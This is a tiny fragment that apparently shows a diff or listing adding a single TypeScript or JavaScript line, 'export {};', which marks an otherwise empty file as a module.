|
+
export {};
|